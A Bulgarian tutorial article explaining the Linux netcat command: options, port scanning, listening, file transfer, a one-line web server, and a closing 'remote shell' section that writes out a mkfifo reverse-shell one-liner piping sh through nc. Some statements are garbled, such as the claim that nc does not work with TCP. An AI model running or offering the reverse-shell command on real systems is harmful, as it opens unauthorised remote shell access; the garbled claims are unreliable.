Начини на плащане Abuse

За какво служи командата NC в Linux

29.08.2024, 02:19

Командата netcat е необходима за изпращане и получаване на данни чрез протоколите TCP и UDP. Тя не разполага с голям набор от функции, но е достатъчна за проверка на връзките и просто отстраняване на грешки. Как да комуникираме чрез протокола TCP? Този въпрос се задава от много потребители. В тази статия ще отговорим на този въпрос, а също така ще покажем примери за реално приложение на командата.

Какво прави командата?

Командата netcat (или nc) е мощен инструмент за работа с мрежови връзки. Тя често се използва от системни администратори и разработчици за различни задачи. Ето основните функции и характеристики на netcat:

  1. Установяване на TCP/UDP връзки: позволява ви да установявате връзки с отдалечени хостове, използвайки TCP и UDP протоколи.
  2. Слушане на портове: може да се използва като сървър, който да слуша за входящи връзки на определен порт.
  3. Прехвърляне на данни: прехвърля данни между компютри по мрежата. Това може да бъде полезно за прехвърляне на файлове или изпращане на съобщения.
  4. Отстраняване на грешки в мрежови приложения: използва се за тестване и отстраняване на грешки в мрежови услуги, като ви позволява да изпращате и получавате произволни данни.
  5. Създаване на прости чатове: може да се създаде проста текстова комуникация между две системи
  6. Сканиране на портове: може да се използва за проверка за отворени портове на отдалечени хостове.
  7. Тунелиране: може да се използва за създаване на тунели за пренасочване на трафик през други портове или хостове.
  8. Работа с прокси сървъри: може да се използва за работа с прокси сървъри и за изпълнение на различни мрежови задачи.

Netcat е универсален инструмент, който може да се използва в най-различни сценарии - от прости съобщения до сложни мрежови операции.

Опции

Нека да започнем с разглеждане на синтаксиса и най-популярните от тях:

  • -6 - използвайте IPv6 протокол. По подразбиране е съответно -4 и IPv4;
  • -h - показва помощ със списъка на наличните параметри;
  • -i - delay - добавя забавяне между изпращането на низове или сканирането на портове. То се задава в секунди;
  • -l - режим на слушане. Използва се при спецификация на порта;
  • -N - затваряне на връзката при достигане на края на файла при изпращането му;
  • -n - работи с IP-адреси директно без DNS, също така деактивира сканирането на портове;
  • -P - user_name (име на потребител) - посочва името на потребителя, който ще се свързва с прокси сървъра;
  • -x - address:port - укажете адреса и порта за свързване с проксито;
  • -p - port - укажете номера на порта. В повечето случаи портът се чете, без да се посочва параметърът;
  • -U - използвайте сокет за домейн на UNIX (за междупроцесна комуникация);
  • -u - използвайте UDP протокол, по подразбиране се използва TCP;
  • -v - подробен режим. Използва се при сканиране;
  • -W number_packets - затваря връзката след получаване на определен брой пакети;
  • -w timer - активира таймер за ограничаване на времето на връзката. Задава се в секунди;
  • -z - забранява изпращането на данни. Използва се по време на сканиране.

Командата има следната форма (параметри адрес на порт):

$ nc

По-нататък ще ви кажем как да използвате командата.

Проверка на порта

Проверката е основното приложение на netcat. Трябва да използвате два параметъра -vz, да посочите адрес и порт. Можете да посочите диапазон от адреси, но в този случай е по-добре да пресеете само отворените портове с командатаgrep. Нека сканираме портовете на адреса на локалната мрежа:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

По същия начин нека сканираме UDP портове, като добавим параметъра -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Трябва да знаете основната разлика между TCP и UDP. Така че в UDP портовете са винаги достъпни.

Слушане на порта

Параметърът -l е предназначен за слушане на порта. Той често е достатъчен, но можете да активирате подробния режим:

$ nc -nlv 8080

Не забравяйте, че когато използвате протокола TCP, портът трябва да е свободен, в противен случай ще се появи грешката Already in use (Вече се използва). Не всички портове могат да се използват от обикновените потребители, например порт 80 (HTTP), най-вероятно той ще бъде зает от друг процес и ще изисква права на суперпотребител.

Обмен на файлове

Полезна способност на командата е обменът на данни. Прост пример е текстова чат стая. За да стартирате чат на един компютър, стартирайте обслужващата програма в режим на слушане на порта:

$ nc -lp 8080

На другия компютър ще трябва да посочите адреса на първия компютър и същия порт. Също така не забравяйте да проверите дали портът е отворен:

$ nc 0.0.0.0 8080

По този начин ще можете да изпращате и получавате съобщения. Това означава, че командата е предназначена за обмен на файлове. Принципът е същият, с тази разлика, че е необходимо изходът да се пренасочи към файл, а именно paste.txt:

$ nc -l 8080 > paste.txt

На другия компютър за вход ще служи файлът copy.txt. Не е излишно да използвате параметъра -N, за да затворите връзката след прехвърлянето на файла:

$ nc -N 0.0.0.0 8080 < copy.txt

За прехвърлянето на файлове е важно да се спазва последователността, първо да се отвори слушането и едва след това да се изпрати файлът. Командата nc е работещ, но далеч не най-добрият начин за прехвърляне на файлове. Съществуват по-ефективни и полезни инструменти за тази задача.

Един прост уеб сървър

Тъй като командата NC не работи с протокола TCP, тя позволява както изпращане, така и получаване на HTTP заявки. Следователно програмата може да се превърне в прост уеб сървър. Да, по този начин не можете да направите нищо по-сложно от празна страница, но операцията няма да отнеме почти никакво време, а плюсът е, че не е необходимо да инсталирате нищо допълнително.

На примерната форма е показан HTTP отговор с файл index.html. Говорейки за самия np, добра идея е да зададете таймер с параметъра -w 1, който да прекъсне връзката, ако браузърът не го направи:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

За да получите данни от даден уебсайт, можете да формирате заявка и да я изпратите на препоръчания адрес и порт. Но този начин е доста сложен, по-добре е да се използва съответната команда CURL.

Отдалечена обвивка

Въз основа на разгледаните по-горе примери няма да е трудно да заключите, че командата ви позволява да организирате отдалечен достъп до шела на компютъра. Преди това помощната програма NC имаше няколко параметъра за отваряне на достъп до терминала. Параметърът -e отдавна е премахнат от обслужващата програма, така че вече няма да има прост достъп до терминала. Сигурността на самото приложение е станала по-висока, но то все още може да работи съвместно с други.

Нека да покажем връзката с помощта на именувания канал mkfifo. Преди всичко нека започнем да слушаме порта на компютъра, до който ще получим достъп:

$ nc -lvnp 8080

Нека преминем директно към командата за отваряне на терминала. Първо изтрийте стария именуван канал(rm /tmp/f), създайте нов на негово място(mkfifo /tmp/f), прочетете съдържанието му(cat /tmp/f) и изпратете шел команда на изхода му(sh -i 2>&1). След това остава да стартирате nc с изход към нашия именуван канал(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Имайте предвид, че това е един от начините за хакване, който обаче може да е полезен, ако има проблеми с ssh. За да предотвратите атаката, конфигурирайте политика за сигурност и защитна стена.